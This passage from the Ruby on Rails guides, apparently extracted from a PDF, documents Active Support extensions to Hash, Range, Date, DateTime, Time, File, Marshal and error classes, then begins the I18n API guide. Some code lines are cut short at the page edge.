{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase }
# The result could either be
# => {"A"=>2}
# or
# => {"A"=>1}

This method may be useful for example to build specialized conversions.

For instance stringify_keys and symbolize_keys use transform_keys
to perform their key conversions:

def stringify_keys
transform_keys { |key| key.to_s }
end
...
def symbolize_keys
transform_keys { |key| key.to_sym rescue key }
end

There's also the bang variant transform_keys! that applies the block
operations to keys in the very receiver.
Besides that, one can use deep_transform_keys and
deep_transform_keys! to perform the block operation on all the keys in
the given hash and all the hashes nested into it. An example of the result is:

{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys

# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}

Defined in active_support/core_ext/hash/keys.rb.
11.4.3 stringify_keys and stringify_keys!

The method stringify_keys returns a hash that has a stringified version

of the keys in the receiver. It does so by sending to_s to them:
{nil => nil, 1 => 1, a: :a}.stringify_keys
# => {"" => nil, "a" => :a, "1" => 1}

In case of key collision, one of the values will be chosen. The chosen value
may not always be the same given the same hash:
{"a" => 1, a: 2}.stringify_keys
# The result could either be
# => {"a"=>2}
# or
# => {"a"=>1}

This method may be useful for example to easily accept both symbols and
strings as options. For instance ActionView::Helpers::FormHelper
defines:

def to_check_box_tag(options = {}, checked_value = "1", unchecke

options = options.stringify_keys
options["type"] = "checkbox"
...
end

The second line can safely access the "type" key, and let the user to pass
either :type or "type".
There's also the bang variant stringify_keys! that stringifies keys in the
very receiver.
Besides that, one can use deep_stringify_keys and
deep_stringify_keys! to stringify all the keys in the given hash and all
the hashes nested into it. An example of the result is:

{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys

# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}

Defined in active_support/core_ext/hash/keys.rb.
11.4.4 symbolize_keys and symbolize_keys!

The method symbolize_keys returns a hash that has a symbolized version

of the keys in the receiver, where possible. It does so by sending to_sym to
them:
{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
# => {1=>1, nil=>nil, :a=>"a"}

Note in the previous example only one key was symbolized.

In case of key collision, one of the values will be chosen. The chosen value
may not always be the same given the same hash:
{"a" => 1, a: 2}.symbolize_keys
# The result could either be
# => {:a=>2}
# or
# => {:a=>1}

This method may be useful for example to easily accept both symbols and
strings as options. For instance ActionController::UrlRewriter defines

def rewrite_path(options)
options = options.symbolize_keys
options.update(options[:params].symbolize_keys) if options[:pa
...
end

The second line can safely access the :params key, and let the user to pass
either :params or "params".
There's also the bang variant symbolize_keys! that symbolizes keys in the
very receiver.
Besides that, one can use deep_symbolize_keys and
deep_symbolize_keys! to symbolize all the keys in the given hash and all
the hashes nested into it. An example of the result is:

{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbol
# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}

Defined in active_support/core_ext/hash/keys.rb.

11.4.5 to_options and to_options!

The methods to_options and to_options! are respectively aliases of

symbolize_keys and symbolize_keys!.
Defined in active_support/core_ext/hash/keys.rb.
11.4.6 assert_valid_keys

The method assert_valid_keys receives an arbitrary number of

arguments, and checks whether the receiver has any key outside that white
list. If it does ArgumentError is raised.
{a: 1}.assert_valid_keys(:a) # passes
{a: 1}.assert_valid_keys("a") # ArgumentError

Active Record does not accept unknown options when building

associations, for example. It implements that control via
assert_valid_keys.
Defined in active_support/core_ext/hash/keys.rb.
11.5 Working with Values
11.5.1 transform_values && transform_values!

The method transform_values accepts a block and returns a hash that has
applied the block operations to each of the values in the receiver.

{ nil => nil, 1 => 1, :x => :a }.transform_values { |value| valu

# => {nil=>"", 1=>"1", :x=>"A"}

There's also the bang variant transform_values! that applies the block
operations to values in the very receiver.

Defined in active_support/core_ext/hash/transform_values.rb.
11.6 Slicing
Ruby has built-in support for taking slices out of strings and arrays. Active
Support extends slicing to hashes:
{a: 1, b: 2, c: 3}.slice(:a, :c)
# => {:c=>3, :a=>1}
{a: 1, b: 2, c: 3}.slice(:b, :X)
# => {:b=>2} # non-existing keys are ignored

If the receiver responds to convert_key keys are normalized:

{a: 1, b: 2}.with_indifferent_access.slice("a")
# => {:a=>1}

Slicing may come in handy for sanitizing option hashes with a white list of
keys.
There's also slice! which in addition to perform a slice in place returns
what's removed:
hash = {a: 1, b: 2}
rest = hash.slice!(:a) # => {:b=>2}
hash # => {:a=>1}

Defined in active_support/core_ext/hash/slice.rb.
11.7 Extracting
The method extract! removes and returns the key/value pairs matching
the given keys.

hash = {a: 1, b: 2}
rest = hash.extract!(:a) # => {:a=>1}
hash # => {:b=>2}

The method extract! returns the same subclass of Hash, that the receiver
is.
hash = {a: 1, b: 2}.with_indifferent_access
rest = hash.extract!(:a).class
# => ActiveSupport::HashWithIndifferentAccess

Defined in active_support/core_ext/hash/slice.rb.
11.8 Indifferent Access
The method with_indifferent_access returns an
ActiveSupport::HashWithIndifferentAccess out of its receiver:
{a: 1}.with_indifferent_access["a"] # => 1

Defined in active_support/core_ext/hash/indifferent_access.rb.
11.9 Compacting
The methods compact and compact! return a Hash without items with nil
value.
{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}

Defined in active_support/core_ext/hash/compact.rb.

12 Extensions to Regexp
12.1 multiline?
The method multiline? says whether a regexp has the /m flag set, that is,
whether the dot matches newlines.
%r{.}.multiline? # => false
%r{.}m.multiline? # => true
Regexp.new('.').multiline? # => false
Regexp.new('.', Regexp::MULTILINE).multiline? # => true

Rails uses this method in a single place, also in the routing code. Multiline
regexps are disallowed for route requirements and this flag eases enforcing
that constraint.

def assign_route_options(segments, defaults, requirements)

...
if requirement.multiline?
raise ArgumentError, "Regexp multiline option not allowed in
end
...
end

Defined in active_support/core_ext/regexp.rb.

13 Extensions to Range
13.1 to_s
Active Support extends the method Range#to_s so that it understands an
optional format argument. As of this writing the only supported nondefault format is :db:
(Date.today..Date.tomorrow).to_s
# => "2009-10-25..2009-10-26"
(Date.today..Date.tomorrow).to_s(:db)
# => "BETWEEN '2009-10-25' AND '2009-10-26'"

As the example depicts, the :db format generates a BETWEEN SQL clause.
That is used by Active Record in its support for range values in conditions.
Defined in active_support/core_ext/range/conversions.rb.
13.2 include?
The methods Range#include? and Range#=== say whether some value
falls between the ends of a given instance:
(2..3).include?(Math::E) # => true

Active Support extends these methods so that the argument may be

another range in turn. In that case we test whether the ends of the argument
range belong to the receiver themselves:
(1..10).include?(3..7) # => true
(1..10).include?(0..7) # => false
(1..10).include?(3..11) # => false
(1...9).include?(3..9) # => false

(1..10) === (3..7) # => true

(1..10) === (0..7) # => false
(1..10) === (3..11) # => false
(1...9) === (3..9) # => false

Defined in active_support/core_ext/range/include_range.rb.
13.3 overlaps?
The method Range#overlaps? says whether any two given ranges have
non-void intersection:
(1..10).overlaps?(7..11) # => true
(1..10).overlaps?(0..7) # => true
(1..10).overlaps?(11..27) # => false

Defined in active_support/core_ext/range/overlaps.rb.

14 Extensions to Date
14.1 Calculations
All the following methods are defined in
active_support/core_ext/date/calculations.rb.

The following calculation methods have edge cases in October 1582, since
days 5..14 just do not exist. This guide does not document their behavior
around those days for brevity, but it is enough to say that they do what you
would expect. That is, Date.new(1582, 10, 4).tomorrow returns
Date.new(1582, 10, 15) and so on. Please check
test/core_ext/date_ext_test.rb in the Active Support test suite for
expected behavior.
14.1.1 Date.current

Active Support defines Date.current to be today in the current time zone.

That's like Date.today, except that it honors the user time zone, if defined.
It also defines Date.yesterday and Date.tomorrow, and the instance
predicates past?, today?, future?, on_weekday? and on_weekend?, all of
them relative to Date.current.
When making Date comparisons using methods which honor the user time
zone, make sure to use Date.current and not Date.today. There are cases
where the user time zone might be in the future compared to the system
time zone, which Date.today uses by default. This means Date.today
may equal Date.yesterday.
14.1.2 Named dates
14.1.2.1 prev_year, next_year

In Ruby 1.9 prev_year and next_year return a date with the same

day/month in the last or next year:

d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.prev_year # => Fri, 08 May 2009
d.next_year # => Sun, 08 May 2011

If date is the 29th of February of a leap year, you obtain the 28th:
d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
d.prev_year # => Sun, 28 Feb 1999
d.next_year # => Wed, 28 Feb 2001

prev_year is aliased to last_year.

14.1.2.2 prev_month, next_month

In Ruby 1.9 prev_month and next_month return the date with the same day
in the last or next month:
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.prev_month # => Thu, 08 Apr 2010
d.next_month # => Tue, 08 Jun 2010

If such a day does not exist, the last day of the corresponding month is
returned:
Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000

prev_month is aliased to last_month.

14.1.2.3 prev_quarter, next_quarter

Same as prev_month and next_month. It returns the date with the same
day in the previous or next quarter:
t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
t.prev_quarter # => Mon, 08 Feb 2010
t.next_quarter # => Sun, 08 Aug 2010

If such a day does not exist, the last day of the corresponding month is
returned:
Time.local(2000, 7, 31).prev_quarter # => Sun, 30 Apr 2000
Time.local(2000, 5, 31).prev_quarter # => Tue, 29 Feb 2000
Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001

prev_quarter is aliased to last_quarter.

14.1.2.4 beginning_of_week, end_of_week

The methods beginning_of_week and end_of_week return the dates for

the beginning and end of the week, respectively. Weeks are assumed to
start on Monday, but that can be changed passing an argument, setting
thread local Date.beginning_of_week or config.beginning_of_week.
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.beginning_of_week # => Mon, 03 May 2010
d.beginning_of_week(:sunday) # => Sun, 02 May 2010
d.end_of_week # => Sun, 09 May 2010
d.end_of_week(:sunday) # => Sat, 08 May 2010

beginning_of_week is aliased to at_beginning_of_week and

end_of_week is aliased to at_end_of_week.
14.1.2.5 monday, sunday

The methods monday and sunday return the dates for the previous Monday
and next Sunday, respectively.
d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
d.monday # => Mon, 03 May 2010
d.sunday # => Sun, 09 May 2010
d = Date.new(2012, 9, 10) # => Mon, 10 Sep 2012
d.monday # => Mon, 10 Sep 2012
d = Date.new(2012, 9, 16) # => Sun, 16 Sep 2012
d.sunday # => Sun, 16 Sep 2012
14.1.2.6 prev_week, next_week

The method next_week receives a symbol with a day name in English

(default is the thread local Date.beginning_of_week, or
config.beginning_of_week, or :monday) and it returns the date
corresponding to that day.
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.next_week # => Mon, 10 May 2010
d.next_week(:saturday) # => Sat, 15 May 2010

The method prev_week is analogous:

d.prev_week # => Mon, 26 Apr 2010
d.prev_week(:saturday) # => Sat, 01 May 2010
d.prev_week(:friday) # => Fri, 30 Apr 2010

prev_week is aliased to last_week.

Both next_week and prev_week work as expected when

Date.beginning_of_week or config.beginning_of_week are set.
14.1.2.7 beginning_of_month, end_of_month

The methods beginning_of_month and end_of_month return the dates for

the beginning and end of the month:
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_month # => Sat, 01 May 2010
d.end_of_month # => Mon, 31 May 2010

beginning_of_month is aliased to at_beginning_of_month, and

end_of_month is aliased to at_end_of_month.
14.1.2.8 beginning_of_quarter, end_of_quarter

The methods beginning_of_quarter and end_of_quarter return the

dates for the beginning and end of the quarter of the receiver's calendar
year:
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_quarter # => Thu, 01 Apr 2010
d.end_of_quarter # => Wed, 30 Jun 2010

beginning_of_quarter is aliased to at_beginning_of_quarter, and

end_of_quarter is aliased to at_end_of_quarter.
14.1.2.9 beginning_of_year, end_of_year

The methods beginning_of_year and end_of_year return the dates for

the beginning and end of the year:
d = Date.new(2010, 5, 9) # => Sun, 09 May 2010
d.beginning_of_year # => Fri, 01 Jan 2010
d.end_of_year # => Fri, 31 Dec 2010

beginning_of_year is aliased to at_beginning_of_year, and

end_of_year is aliased to at_end_of_year.

14.1.3 Other Date Computations

14.1.3.1 years_ago, years_since

The method years_ago receives a number of years and returns the same
date those many years ago:
date = Date.new(2010, 6, 7)
date.years_ago(10) # => Wed, 07 Jun 2000

years_since moves forward in time:

date = Date.new(2010, 6, 7)
date.years_since(10) # => Sun, 07 Jun 2020

If such a day does not exist, the last day of the corresponding month is
returned:
Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009
Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015
14.1.3.2 months_ago, months_since

The methods months_ago and months_since work analogously for

months:
Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
Date.new(2010, 4, 30).months_since(2) # => Wed, 30 Jun 2010

If such a day does not exist, the last day of the corresponding month is
returned:
Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010

14.1.3.3 weeks_ago

The method weeks_ago works analogously for weeks:

Date.new(2010, 5, 24).weeks_ago(1) # => Mon, 17 May 2010
Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010
14.1.3.4 advance

The most generic way to jump to other days is advance. This method
receives a hash with keys :years, :months, :weeks, :days, and returns a
date advanced as much as the present keys indicate:
date = Date.new(2010, 6, 6)
date.advance(years: 1, weeks: 2) # => Mon, 20 Jun 2011
date.advance(months: 2, days: -2) # => Wed, 04 Aug 2010

Note in the previous example that increments may be negative.

To perform the computation the method first increments years, then
months, then weeks, and finally days. This order is important towards the
end of months. Say for example we are at the end of February of 2010, and
we want to move one month and one day forward.
The method advance advances first one month, and then one day, the
result is:
Date.new(2010, 2, 28).advance(months: 1, days: 1)
# => Sun, 29 Mar 2010

While if it did it the other way around the result would be different:
Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
# => Thu, 01 Apr 2010

14.1.4 Changing Components

The method change allows you to get a new date which is the same as the
receiver except for the given year, month, or day:
Date.new(2010, 12, 23).change(year: 2011, month: 11)
# => Wed, 23 Nov 2011

This method is not tolerant to non-existing dates, if the change is invalid

ArgumentError is raised:
Date.new(2010, 1, 31).change(month: 2)
# => ArgumentError: invalid date
14.1.5 Durations

Durations can be added to and subtracted from dates:

d = Date.current
# => Mon, 09 Aug 2010
d + 1.year
# => Tue, 09 Aug 2011
d - 3.hours
# => Sun, 08 Aug 2010 21:00:00 UTC +00:00

They translate to calls to since or advance. For example here we get the
correct jump in the calendar reform:
Date.new(1582, 10, 4) + 1.day
# => Fri, 15 Oct 1582
14.1.6 Timestamps

The following methods return a Time object if possible, otherwise a

DateTime. If set, they honor the user time zone.

14.1.6.1 beginning_of_day, end_of_day

The method beginning_of_day returns a timestamp at the beginning of

the day (00:00:00):
date = Date.new(2010, 6, 7)
date.beginning_of_day # => Mon Jun 07 00:00:00 +0200 2010

The method end_of_day returns a timestamp at the end of the day

(23:59:59):
date = Date.new(2010, 6, 7)
date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010

beginning_of_day is aliased to at_beginning_of_day, midnight,

at_midnight.
14.1.6.2 beginning_of_hour, end_of_hour

The method beginning_of_hour returns a timestamp at the beginning of

the hour (hh:00:00):
date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.beginning_of_hour # => Mon Jun 07 19:00:00 +0200 2010

The method end_of_hour returns a timestamp at the end of the hour

(hh:59:59):
date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010

beginning_of_hour is aliased to at_beginning_of_hour.

14.1.6.3 beginning_of_minute, end_of_minute

The method beginning_of_minute returns a timestamp at the beginning of

the minute (hh:mm:00):
date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.beginning_of_minute # => Mon Jun 07 19:55:00 +0200 2010

The method end_of_minute returns a timestamp at the end of the minute

(hh:mm:59):
date = DateTime.new(2010, 6, 7, 19, 55, 25)
date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010

beginning_of_minute is aliased to at_beginning_of_minute.

beginning_of_hour, end_of_hour, beginning_of_minute and
end_of_minute are implemented for Time and DateTime but not Date as it

does not make sense to request the beginning or end of an hour or minute
on a Date instance.
14.1.6.4 ago, since

The method ago receives a number of seconds as argument and returns a

timestamp those many seconds ago from midnight:
date = Date.current # => Fri, 11 Jun 2010
date.ago(1) # => Thu, 10 Jun 2010 23:59:59 EDT -04:00

Similarly, since moves forward:

date = Date.current # => Fri, 11 Jun 2010
date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
14.1.7 Other Time Computations

14.2 Conversions

15 Extensions to DateTime
DateTime is not aware of DST rules and so some of these methods have

edge cases when a DST change is going on. For example

seconds_since_midnight might not return the real amount in such a day.
15.1 Calculations
All the following methods are defined in
active_support/core_ext/date_time/calculations.rb.

The class DateTime is a subclass of Date so by loading

active_support/core_ext/date/calculations.rb you inherit these
methods and their aliases, except that they will always return datetimes:
yesterday
tomorrow
beginning_of_week (at_beginning_of_week)
end_of_week (at_end_of_week)
monday
sunday
weeks_ago
prev_week (last_week)
next_week
months_ago
months_since
beginning_of_month (at_beginning_of_month)
end_of_month (at_end_of_month)
prev_month (last_month)
next_month
beginning_of_quarter (at_beginning_of_quarter)
end_of_quarter (at_end_of_quarter)
beginning_of_year (at_beginning_of_year)
end_of_year (at_end_of_year)
years_ago
years_since
prev_year (last_year)
next_year
on_weekday?

on_weekend?

The following methods are reimplemented so you do not need to load

active_support/core_ext/date/calculations.rb for these ones:
beginning_of_day (midnight, at_midnight, at_beginning_of_day)
end_of_day
ago
since (in)

On the other hand, advance and change are also defined and support more
options, they are documented below.
The following methods are only implemented in
active_support/core_ext/date_time/calculations.rb as they only
make sense when used with a DateTime instance:
beginning_of_hour (at_beginning_of_hour)
end_of_hour
15.1.1 Named Datetimes
15.1.1.1 DateTime.current

Active Support defines DateTime.current to be like

Time.now.to_datetime, except that it honors the user time zone, if
defined. It also defines DateTime.yesterday and DateTime.tomorrow, and
the instance predicates past?, and future? relative to DateTime.current.
15.1.2 Other Extensions
15.1.2.1 seconds_since_midnight

The method seconds_since_midnight returns the number of seconds

since midnight:

now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000

now.seconds_since_midnight # => 73596
15.1.2.2 utc

The method utc gives you the same datetime in the receiver expressed in
UTC.
now = DateTime.current # => Mon, 07 Jun 2010 19:27:52 -0400
now.utc # => Mon, 07 Jun 2010 23:27:52 +0000

This method is also aliased as getutc.

15.1.2.3 utc?

The predicate utc? says whether the receiver has UTC as its time zone:
now = DateTime.now # => Mon, 07 Jun 2010 19:30:47 -0400
now.utc? # => false
now.utc.utc? # => true
15.1.2.4 advance

The most generic way to jump to another datetime is advance. This

method receives a hash with keys :years, :months, :weeks, :days,
:hours, :minutes, and :seconds, and returns a datetime advanced as
much as the present keys indicate.

d = DateTime.current
# => Thu, 05 Aug 2010 11:33:31 +0000
d.advance(years: 1, months: 1, days: 1, hours: 1, minutes: 1, se
# => Tue, 06 Sep 2011 12:34:32 +0000

This method first computes the destination date passing :years, :months,
:weeks, and :days to Date#advance documented above. After that, it

adjusts the time calling since with the number of seconds to advance. This
order is relevant, a different ordering would give different datetimes in
some edge-cases. The example in Date#advance applies, and we can
extend it to show order relevance related to the time bits.
If we first move the date bits (that have also a relative order of processing,
as documented before), and then the time bits we get for example the
following computation:
d = DateTime.new(2010, 2, 28, 23, 59, 59)
# => Sun, 28 Feb 2010 23:59:59 +0000
d.advance(months: 1, seconds: 1)
# => Mon, 29 Mar 2010 00:00:00 +0000

but if we computed them the other way around, the result would be
different:
d.advance(seconds: 1).advance(months: 1)
# => Thu, 01 Apr 2010 00:00:00 +0000

Since DateTime is not DST-aware you can end up in a non-existing point

in time with no warning or error telling you so.
15.1.3 Changing Components

The method change allows you to get a new datetime which is the same as
the receiver except for the given options, which may include :year,
:month, :day, :hour, :min, :sec, :offset, :start:
now = DateTime.current
# => Tue, 08 Jun 2010 01:56:22 +0000
now.change(year: 2011, offset: Rational(-6, 24))
# => Wed, 08 Jun 2011 01:56:22 -0600

If hours are zeroed, then minutes and seconds are too (unless they have

given values):
now.change(hour: 0)
# => Tue, 08 Jun 2010 00:00:00 +0000

Similarly, if minutes are zeroed, then seconds are too (unless it has given a
value):
now.change(min: 0)
# => Tue, 08 Jun 2010 01:00:00 +0000

This method is not tolerant to non-existing dates, if the change is invalid

ArgumentError is raised:
DateTime.current.change(month: 2, day: 30)
# => ArgumentError: invalid date
15.1.4 Durations

Durations can be added to and subtracted from datetimes:

now = DateTime.current
# => Mon, 09 Aug 2010 23:15:17 +0000
now + 1.year
# => Tue, 09 Aug 2011 23:15:17 +0000
now - 1.week
# => Mon, 02 Aug 2010 23:15:17 +0000

They translate to calls to since or advance. For example here we get the
correct jump in the calendar reform:
DateTime.new(1582, 10, 4, 23) + 1.hour
# => Fri, 15 Oct 1582 00:00:00 +0000

16 Extensions to Time
16.1 Calculations
All the following methods are defined in
active_support/core_ext/time/calculations.rb.

Active Support adds to Time many of the methods available for DateTime:
past?
today?
future?
yesterday
tomorrow
seconds_since_midnight
change
advance
ago
since (in)
beginning_of_day (midnight, at_midnight, at_beginning_of_day)
end_of_day
beginning_of_hour (at_beginning_of_hour)
end_of_hour
beginning_of_week (at_beginning_of_week)
end_of_week (at_end_of_week)
monday
sunday
weeks_ago
prev_week (last_week)
next_week
months_ago
months_since
beginning_of_month (at_beginning_of_month)
end_of_month (at_end_of_month)
prev_month (last_month)
next_month
beginning_of_quarter (at_beginning_of_quarter)
end_of_quarter (at_end_of_quarter)
beginning_of_year (at_beginning_of_year)
end_of_year (at_end_of_year)

years_ago
years_since
prev_year (last_year)
next_year
on_weekday?
on_weekend?

They are analogous. Please refer to their documentation above and take
into account the following differences:
change accepts an additional :usec option.
Time understands DST, so you get correct DST calculations as in

Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @

# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00

t = Time.local(2010, 3, 28, 1, 59, 59)
# => Sun Mar 28 01:59:59 +0100 2010
t.advance(seconds: 1)
# => Sun Mar 28 03:00:00 +0200 2010

If since or ago jump to a time that can't be expressed with Time a

DateTime object is returned instead.
16.1.1 Time.current

Active Support defines Time.current to be today in the current time zone.

That's like Time.now, except that it honors the user time zone, if defined. It
also defines the instance predicates past?, today?, and future?, all of
them relative to Time.current.
When making Time comparisons using methods which honor the user time
zone, make sure to use Time.current instead of Time.now. There are cases
where the user time zone might be in the future compared to the system
time zone, which Time.now uses by default. This means

Time.now.to_date may equal Date.yesterday.

16.1.2 all_day, all_week, all_month, all_quarter and all_year

The method all_day returns a range representing the whole day of the
current time.

now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_day
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:5

Analogously, all_week, all_month, all_quarter and all_year all serve

the purpose of generating time ranges.

now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_week
# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:5
now.all_week(:sunday)
# => Sun, 16 Sep 2012 00:00:00 UTC +00:00..Sat, 22 Sep 2012 23:5
now.all_month
# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:5
now.all_quarter
# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:5
now.all_year
# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:5

16.2 Time Constructors

Active Support defines Time.current to be Time.zone.now if there's a
user time zone defined, with fallback to Time.now:

Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @
Time.current
# => Fri, 06 Aug 2010 17:11:58 CEST +02:00

Analogously to DateTime, the predicates past?, and future? are relative

to Time.current.
If the time to be constructed lies beyond the range supported by Time in
the runtime platform, usecs are discarded and a DateTime object is
returned instead.
16.2.1 Durations

Durations can be added to and subtracted from time objects:

now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now + 1.year
# => Tue, 09 Aug 2011 23:21:11 UTC +00:00
now - 1.week
# => Mon, 02 Aug 2010 23:21:11 UTC +00:00

They translate to calls to since or advance. For example here we get the
correct jump in the calendar reform:
Time.utc(1582, 10, 3) + 5.days
# => Mon Oct 18 00:00:00 UTC 1582

17 Extensions to File
17.1 atomic_write
With the class method File.atomic_write you can write to a file in a way
that will prevent any reader from seeing half-written content.
The name of the file is passed as an argument, and the method yields a file
handle opened for writing. Once the block is done atomic_write closes
the file handle and completes its job.
For example, Action Pack uses this method to write asset cache files like
all.css:
File.atomic_write(joined_asset_path) do |cache|
cache.write(join_asset_file_contents(asset_paths))
end

To accomplish this atomic_write creates a temporary file. That's the file

the code in the block actually writes to. On completion, the temporary file
is renamed, which is an atomic operation on POSIX systems. If the target
file exists atomic_write overwrites it and keeps owners and permissions.
However there are a few cases where atomic_write cannot change the file
ownership or permissions, this error is caught and skipped over trusting in
the user/filesystem to ensure the file is accessible to the processes that
need it.
Due to the chmod operation atomic_write performs, if the target file has
an ACL set on it this ACL will be recalculated/modified.
Note you can't append with atomic_write.
The auxiliary file is written in a standard directory for temporary files, but
you can pass a directory of your choice as second argument.

Defined in active_support/core_ext/file/atomic.rb.

18 Extensions to Marshal
18.1 load
Active Support adds constant autoloading support to load.
For example, the file cache store deserializes this way:
File.open(file_name) { |f| Marshal.load(f) }

If the cached data refers to a constant that is unknown at that point, the
autoloading mechanism is triggered and if it succeeds the deserialization is
retried transparently.
If the argument is an IO it needs to respond to rewind to be able to retry.
Regular files respond to rewind.
Defined in active_support/core_ext/marshal.rb.

19 Extensions to NameError
Active Support adds missing_name? to NameError, which tests whether
the exception was raised because of the name passed as argument.
The name may be given as a symbol or string. A symbol is tested against
the bare constant name, a string is against the fully-qualified constant
name.
A symbol can represent a fully-qualified constant name as in
:"ActiveRecord::Base", so the behavior for symbols is defined for
convenience, not because it has to be that way technically.
For example, when an action of ArticlesController is called Rails tries
optimistically to use ArticlesHelper. It is OK that the helper module does
not exist, so if an exception for that constant name is raised it should be
silenced. But it could be the case that articles_helper.rb raises a
NameError due to an actual unknown constant. That should be reraised.
The method missing_name? provides a way to distinguish both cases:
def default_helper_module!
module_name = name.sub(/Controller$/, '')
module_path = module_name.underscore
helper module_path
rescue LoadError => e
raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end

Defined in active_support/core_ext/name_error.rb.

20 Extensions to LoadError
Active Support adds is_missing? to LoadError.
Given a path name is_missing? tests whether the exception was raised
due to that particular file (except perhaps for the ".rb" extension).
For example, when an action of ArticlesController is called Rails tries
to load articles_helper.rb, but that file may not exist. That's fine, the
helper module is not mandatory so Rails silences a load error. But it could
be the case that the helper module does exist and in turn requires another
library that is missing. In that case Rails must reraise the exception. The
method is_missing? provides a way to distinguish both cases:
def default_helper_module!
module_name = name.sub(/Controller$/, '')
module_path = module_name.underscore
helper module_path
rescue LoadError => e
raise e unless e.is_missing? "helpers/#{module_path}_helper"
rescue NameError => e
raise e unless e.missing_name? "#{module_name}Helper"
end

Defined in active_support/core_ext/load_error.rb.

Rails Internationalization (I18n)

API...

1 How I18n in Ruby on Rails Works

Internationalization is a complex problem. Natural languages differ in so
many ways (e.g. in pluralization rules) that it is hard to provide tools for
solving all problems at once. For that reason the Rails I18n API focuses
on:
providing support for English and similar languages out of the box
making it easy to customize and extend everything for other
languages
As part of this solution, every static string in the Rails framework - e.g.
Active Record validation messages, time and date formats - has been
internationalized. Localization of a Rails application means defining
translated values for these strings in desired languages.
1.1 The Overall Architecture of the Library
Thus, the Ruby I18n gem is split into two parts:
The public API of the i18n framework - a Ruby module with public
methods that define how the library works
A default backend (which is intentionally named Simple backend)
that implements these methods
As a user you should always only access the public methods on the I18n
module, but it is useful to know about the capabilities of the backend.
It is possible to swap the shipped Simple backend with a more powerful
one, which would store translation data in a relational database, GetText
dictionary, or similar. See section Using different backends below.
1.2 The Public I18n API

The most important methods of the I18n API are:

translate # Lookup text translations
localize # Localize Date and Time objects to local formats

These have the aliases #t and #l so you can use them like this:
I18n.t 'store.title'
I18n.l Time.now

There are also attribute readers and writers for the following attributes:
load_path # Announce your custom translation files
locale # Get and set the current locale
default_locale # Get and set the default locale
exception_handler # Use a different exception_handler
backend # Use a different backend

So, let's internationalize a simple Rails application from the ground up in

the next chapters!

2 Setup the Rails Application for Internationalization

There are a few steps to get up and running with I18n support for a Rails
application.
2.1 Configure the I18n Module
Following the convention over configuration philosophy, Rails I18n
provides reasonable default translation strings. When different translation
strings are needed, they can be overridden.
Rails adds all .rb and .yml files from the config/locales directory to the
translations load path, automatically.
The default en.yml locale in this directory contains a sample pair of
translation strings:
en:
hello: "Hello world"

This means, that in the :en locale, the key hello will map to the Hello
world string. Every string inside Rails is internationalized in this way, see
for instance Active Model validation messages in the
activemodel/lib/active_model/locale/en.yml file or time and date
formats in the activesupport/lib/active_support/locale/en.yml file.
You can use YAML or standard Ruby Hashes to store translations in the
default (Simple) backend.
The I18n library will use English as a default locale, i.e. if a different
locale is not set, :en will be used for looking up translations.
The i18n library takes a pragmatic approach to locale keys (after some
discussion), including only the locale ("language") part, like :en, :pl, not
the region part, like :en-US or :en-GB, which are traditionally used for

separating "languages" and "regional setting" or "dialects". Many

international applications use only the "language" element of a locale such
as :cs, :th or :es (for Czech, Thai and Spanish). However, there are also
regional differences within different language groups that may be
important. For instance, in the :en-US locale you would have $ as a
